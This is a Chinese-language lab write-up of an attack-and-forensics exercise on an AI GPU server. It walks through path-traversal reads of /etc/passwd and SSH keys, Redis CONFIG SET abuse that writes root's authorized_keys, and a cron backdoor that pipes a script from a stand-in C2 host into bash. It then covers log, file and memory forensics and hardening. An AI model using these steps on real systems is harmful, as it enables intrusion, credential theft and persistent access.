1. 项目概述:一次源于实战的AI服务器攻防演练
最近在内部做了一次红蓝对抗演练,目标是一台部署了主流AI框架的GPU服务器。这类服务器现在越来越常见,跑着大模型训练、推理服务,数据金贵,权限也高,自然成了攻防演练的重点对象。演练的核心,就是围绕一个编号为CVE-2025-3248的漏洞展开。这个漏洞本身并不复杂,但它的利用链和后续在服务器上留下的“痕迹”,却非常典型,完美串联起了漏洞利用、权限提升、痕迹隐藏和事后取证分析这一整套流程。与其说这是一次漏洞复现,不如说是一次完整的“攻击者视角”入侵与“防御者视角”取证的实战推演。对于负责AI平台安全、服务器运维或者对渗透测试和数字取证感兴趣的朋友来说,这个案例的细节很有嚼头。今天,我就把手头的操作记录、截图和思考过程整理出来,带你从头到尾走一遍,看看攻击者是怎么悄无声息地摸进来的,而我们作为防御方,又该如何从一片狼藉中找出线索,拼凑出完整的攻击故事。
2. 靶场环境与漏洞背景深度解析
2.1 靶机环境搭建与核心服务剖析
这次演练的靶机是一台标准的AI开发服务器,配置了Ubuntu 22.04 LTS系统,搭载了NVIDIA A100显卡,并安装了完整的CUDA和PyTorch环境。但漏洞的根源,并不在这些AI组件本身,而在于一个用于管理和监控AI任务的服务——我们姑且称之为“AITaskScheduler”。这是一个用Python Flask框架编写的Web服务,运行在8000端口,主要功能是允许研究人员提交训练任务、查看GPU资源占用和下载训练日志。服务以www-data用户权限运行,这为后续的权限提升埋下了伏笔。
这个服务有一个关键的API接口:/api/v1/task/log,用于根据任务ID下载日志文件。其最初的、存在漏洞的代码逻辑大致如下:
@app.route('/api/v1/task/log', methods=['GET']) def download_log(): task_id = request.args.get('id') if not task_id: return "Task ID required", 400 # 漏洞点:未对用户输入的task_id进行任何过滤或校验 log_file_path = f"/var/log/aitasks/{task_id}.log" # 直接使用send_file发送文件 return send_file(log_file_path, as_attachment=True)这段代码的问题一目了然:它直接信任了用户传入的task_id参数,并将其拼接进文件路径,然后通过send_file函数返回。这就是一个典型的**路径遍历(Path Traversal)**漏洞,也叫目录穿越漏洞。攻击者可以通过构造特殊的task_id值(如../../../../etc/passwd),让服务读取并返回服务器上任意文件的内容。
2.2 CVE-2025-3248漏洞原理与影响范围
CVE-2025-3248正是针对上述AITaskScheduler服务中/api/v1/task/log接口的路径遍历漏洞分配的编号。其CVSS评分预计在7.5(高危)左右,主要危害在于未授权读取服务器敏感文件。
漏洞利用原理:Flask的send_file函数在接收到一个路径字符串时,会尝试打开该路径指向的文件。当task_id被恶意构造为../../../etc/passwd时,拼接后的路径就变成了/var/log/aitasks/../../../etc/passwd。在Linux系统中,..表示上级目录,经过路径规范化后,实际访问的就是/etc/passwd文件。攻击者借此可以读取系统密码文件、应用程序配置文件、私钥、源代码等任何运行用户有权读取的文件。
影响范围:所有使用了存在漏洞版本AITaskScheduler服务(版本号早于1.2.3)的AI服务器或计算平台。由于这类服务常被部署在内网,面向内部研究人员,其安全性容易被忽视,使得漏洞危害性加剧。
注意:在实际渗透测试中,绝对禁止对非授权目标进行此类漏洞探测和利用。本次所有操作均在完全隔离的、自建的靶机环境中进行。
3. 漏洞利用链的实战拆解与权限获取
3.1 信息收集与漏洞初步验证
攻击的第一步永远是信息收集。使用nmap对目标服务器进行端口扫描,发现了开放的8000端口和对应的AITaskScheduler服务横幅。
nmap -sV -p 8000 192.168.1.100发现服务后,直接访问Web界面,通过浏览器开发者工具查看网络请求,很快定位到/api/v1/task/log这个接口。手动在浏览器地址栏尝试访问:
http://192.168.1.100:8000/api/v1/task/log?id=../../../../etc/passwd如果页面返回了/etc/passwd文件的内容,那么漏洞就确认存在了。这是最直接的验证方式。
实操心得:对于这类文件读取漏洞,不要一上来就读/etc/passwd,太显眼。可以先尝试读取/proc/self/cwd/../requirements.txt或者服务自身的日志文件/var/log/aitasks/../aitask_scheduler.log,这些文件同样能证明漏洞存在,但行为相对隐蔽,可能绕过一些简单的异常检测规则。
3.2 敏感信息提取与攻击面扩大
确认漏洞后,就可以开始系统地读取敏感文件,为下一步攻击做准备。目标是获取能帮助提升权限或横向移动的信息。
- 获取系统信息:读取
/etc/passwd了解系统用户;读取/proc/version了解内核版本。 - 获取服务配置:尝试读取
/etc/aitask_scheduler/config.yaml或应用目录下的config.py、.env文件。这次很幸运,读到了数据库连接字符串和一段硬编码的Redis密码。 - 寻找密钥文件:尝试读取
/home/*/.ssh/id_rsa(用户SSH私钥)、/root/.ssh/authorized_keys。这次在/home/researcher/.ssh/目录下找到了可读的私钥文件。 - 探查进程与环境:读取
/proc/self/environ可以获取当前Web进程的环境变量,有时会泄露密钥、访问令牌等。
通过读取到的Redis密码,我们成功连接上了服务器上的Redis服务,发现Redis以root权限运行且未设置认证(虽然我们拿到了密码,但实际测试发现它允许空密码连接)。这成为了权限提升的关键跳板。
3.3 权限提升与持久化后门部署
利用Redis未授权访问(或弱密码)漏洞,可以向服务器写入文件。因为Redis服务是root权限,所以写入的文件也是root所有。一个经典的技巧是利用Redis的CONFIG SET dir和CONFIG SET dbfilename命令,改变其持久化路径和文件名,然后将SSH公钥写入/root/.ssh/authorized_keys,从而实现SSH免密登录root。
具体操作步骤如下:
# 1. 连接Redis redis-cli -h 192.168.1.100 # 2. 设置RDB文件保存目录为/root/.ssh/ 192.168.1.100:6379> CONFIG SET dir /root/.ssh/ # 3. 设置RDB文件名为authorized_keys 192.168.1.100:6379> CONFIG SET dbfilename authorized_keys # 4. 将自己的公钥设置为Redis中的一个键值对。注意,公钥内容需要换行,需用双引号包裹并手动输入换行符,或者通过管道导入。 # 先在本地准备好公钥文件pub.txt,内容以换行符结尾。 cat pub.txt | redis-cli -h 192.168.1.100 -x set crackit # 5. 保存数据到文件(触发RDB持久化) 192.168.1.100:6379> save执行成功后,就可以用对应的私钥直接SSH登录root用户了:
ssh -i id_rsa root@192.168.1.100至此,我们已经获得了服务器的最高权限。
持久化:为了维持访问,除了SSH密钥,还可以部署一个简单的定时任务后门。例如,在/etc/cron.hourly/下创建一个脚本,每小时从远程C2服务器下载并执行命令。
echo 'curl -s http://attacker-c2.com/shell.sh | bash' > /etc/cron.hourly/cleanup chmod +x /etc/cron.hourly/cleanup注意事项:在真实的对抗中,高明的攻击者会使用更隐蔽的持久化方式,如修改动态链接库、植入Rootkit、或者利用系统dll劫持等,这些方式更难被常规排查发现。
4. 防御视角下的入侵痕迹分析与取证
攻击完成后,我们切换角色,假设自己是应急响应人员,接到报警说服务器可能被入侵,现在需要开始取证分析,找出攻击者做了什么。我们不会使用攻击时已知的信息,而是从头开始分析。
4.1 现场保全与易失性数据收集
取证的第一步是“保护现场”,尽可能减少对系统的改动。如果条件允许,应该对内存和磁盘进行完整镜像。在本次演练中,我们模拟在线取证。
系统时间与用户登录记录:
date uptime last -a who -a cat /var/log/auth.log | grep -i "accepted\|failed\|session opened"检查是否有异常时间的登录、失败的登录尝试暴破记录、或者来自陌生IP的成功登录。我们发现了一条来自内网非常用IP的root用户SSH登录成功记录。
网络连接与监听端口:
netstat -tulnp ss -tulnp lsof -i对比
nmap扫描结果和系统当前监听端口,查找异常进程。发现8000端口服务仍在运行,但多了一个未知的/usr/sbin/sshd进程监听在高端口(如5555),这很可能是一个后门。进程列表与资源监控:
ps auxf top -b -n 1查看是否有异常进程、CPU/内存占用异常的进程。发现一个名为
cleanup的进程,其父进程是cron,路径在/etc/cron.hourly/下,看起来可疑。
4.2 文件系统时间线分析与异常文件定位
攻击者必然会创建、修改或删除文件。利用文件的时间戳属性进行排查是关键。
查找最近修改的文件:
find / -type f -mtime -1 2>/dev/null | head -50 find /etc/cron* -type f -mtime -1 find /root -type f -mtime -1这条命令找到了
/etc/cron.hourly/cleanup和/root/.ssh/authorized_keys这两个在最近一天内被修改的文件。检查关键目录:
/root/.ssh/authorized_keys:发现了一个不属于任何已知管理员的公钥。/etc/cron.hourly/,/etc/cron.daily/等:发现了恶意的cleanup脚本。/tmp,/dev/shm:常被用作临时文件存储,检查是否有可疑的可执行文件或脚本。- Web服务目录
/var/www/或/opt/aitask_scheduler/:检查是否有被上传的Webshell或配置文件被篡改。
文件完整性校验:如果系统之前有文件完整性监控(如AIDE、Tripwire)的基线,可以快速比对出被篡改的系统文件。本次检查发现
/usr/bin/netstat的哈希值不对,怀疑被替换为隐藏网络连接的恶意版本。
4.3 日志深度审计与攻击路径重建
日志是还原攻击链的最重要依据。但攻击者通常会清理日志,所以需要多角度关联分析。
Web访问日志:查看
AITaskScheduler服务的访问日志(假设在/var/log/aitask_scheduler/access.log)。grep -E \"(\.\./|etc/passwd|config|ssh|id_rsa)\" /var/log/aitask_scheduler/access.log这里发现了大量对
/api/v1/task/log接口的请求,参数包含../../../../etc/passwd、../../../../home/researcher/.ssh/id_rsa等,清晰展示了路径遍历攻击的路径和读取的文件序列。Redis日志:检查
/var/log/redis/redis-server.log。grep -i "config set\|save\|crackit" /var/log/redis/redis-server.log发现了
CONFIG SET dir、CONFIG SET dbfilename和SAVE命令的执行记录,印证了通过Redis提权的手法。系统命令历史:检查root和可疑用户(如
www-data)的bash历史。攻击者可能忘了清理。cat /root/.bash_history sudo -u www-data cat /home/www-data/.bash_history在
www-data的历史中发现了redis-cli的连接命令,这极不寻常,因为Web服务用户通常不会直接操作Redis。关联时间线:将Web日志中读取私钥的时间、Redis日志中写入操作的时间、以及
auth.log中异常SSH登录的时间点放在一条时间线上,攻击链条就非常清晰了:路径遍历读取私钥 -> 利用私钥或Redis漏洞获取更高权限 -> 写入SSH密钥实现root登录 -> 部署持久化后门。
5. 内存取证与深入痕迹挖掘
对于高级攻击,仅分析磁盘日志可能不够,因为恶意进程可能只存在于内存中。这就需要用到内存取证工具,如Volatility。
5.1 内存镜像获取与分析环境搭建
首先,在受攻击的服务器上使用LiME或AVML等工具获取内存镜像(假设文件为memdump.mem)。将镜像文件拷贝到分析机,安装Volatility 3。
分析进程列表,寻找隐藏进程:
vol.py -f memdump.mem linux.pslist除了常规进程,我们发现了一个名为[kworker/u:2]的进程,其PID和父进程关系异常,这可能是用于隐藏恶意进程的常见内核线程伪装手法。
5.2 网络连接与Bash历史的内存恢复
攻击者即使清除了磁盘上的.bash_history,其在内存中执行的命令可能仍有残留。
提取内存中的Bash历史:
vol.py -f memdump.mem linux.bash这个插件可以恢复内存中仍在活动的bash会话的历史命令。我们从中恢复了攻击者执行过的
redis-cli命令、find命令以及写入cron任务的echo命令,这些是在磁盘历史记录中被清除的关键证据。检查内存中的网络连接:
vol.py -f memdump.mem linux.netstat确认了在
netstat中看不到的、隐藏的到C2服务器(假设IP为10.10.10.10)的TCP连接,以及监听在5555端口的后门sshd进程。扫描内存中的恶意代码:可以使用
linux.malfind插件寻找具有异常内存权限(如可写可执行)的进程内存区域,这些区域可能存放着注入的shellcode。
5.3 文件与密钥在内存中的缓存
即使私钥文件被攻击者删除,只要读取过该文件的进程(如redis-server或sshd)尚未终止,其内容就可能残留在内存中。
使用linux.filescan和linux.dump_file插件,可以尝试扫描内存中的文件对象并提取。我们成功从内存中恢复了被攻击者删除的、原始的/root/.ssh/authorized_keys文件内容,以及那个恶意的/etc/cron.hourly/cleanup脚本的完整内容,其中包含了C2服务器的地址。
取证心得:内存取证是应对无文件攻击和高级擦除痕迹手段的利器。它提供的是一张系统在某个瞬间的“快照”,这张快照里的许多信息是攻击者难以彻底清除的。将内存取证的结果与磁盘日志、文件系统分析的结果进行交叉验证,往往能得到铁证如山的攻击证据链。
6. 加固建议与事件响应总结
复盘整个攻击和取证过程,我们可以从防御角度得出以下几点关键的加固建议:
输入验证与过滤:这是防止CVE-2025-3248这类漏洞的根本。对所有用户输入进行严格的校验和过滤。对于文件路径参数,应该:
- 使用白名单机制,只允许特定的、预期的文件名或ID格式。
- 将用户输入与基础目录进行拼接后,使用
os.path.normpath()规范化路径,然后检查规范化后的路径是否仍然以允许的基础目录开头。
import os base_dir = '/var/log/aitasks/' user_input = request.args.get('id') full_path = os.path.join(base_dir, user_input) normalized_path = os.path.normpath(full_path) if not normalized_path.startswith(base_dir): return "Access denied", 403最小权限原则:
- 运行Web服务的用户(如
www-data)应仅拥有其必要的最小权限。绝不应该能读取/etc/passwd或用户家目录下的文件。 - Redis、MySQL等中间件服务,严禁使用root权限运行。应为它们创建专属的低权限用户和组。
- 严格配置SSH,禁止root用户直接登录,使用密钥登录并设置强密码保护私钥。
- 运行Web服务的用户(如
日志集中化与监控:将服务器、应用、中间件的日志统一收集到安全的日志平台(如ELK Stack)。并配置实时告警规则,例如:
- Web日志中出现连续的
../模式。 - Redis日志中出现
CONFIG SET dir等危险命令。 - 成功从陌生IP或非工作时间登录root。
- 系统新增了cron任务或系统服务。
- Web日志中出现连续的
定期漏洞扫描与更新:对内部服务,尤其是像
AITaskScheduler这种可能被忽视的“边缘”服务,应纳入漏洞扫描范围。保持所有软件和依赖库更新至最新版本。建立应急响应流程:明确安全事件发生后的“三板斧”:隔离(断开网络,防止扩散)、取证(按照上述流程收集证据)、根除与恢复(清除后门,修复漏洞,从备份恢复数据)。并定期进行红蓝对抗演练,检验防御和响应能力。
这次从CVE-2025-3248漏洞利用到完整取证的演练,像一次全流程的攻防沙盘推演。攻击路径清晰展示了一个小漏洞如何被串联起来形成重大突破,而取证过程则像侦探破案,需要耐心、细致和多源信息的关联分析。对于防守方而言,真正的安全不在于堵住某一个漏洞,而在于构建一个纵深防御体系,并在被突破后有能力快速发现、响应和溯源。安全是一个持续的过程,攻击者的工具和手法在进化,我们的防御视角和技能也必须随之迭代。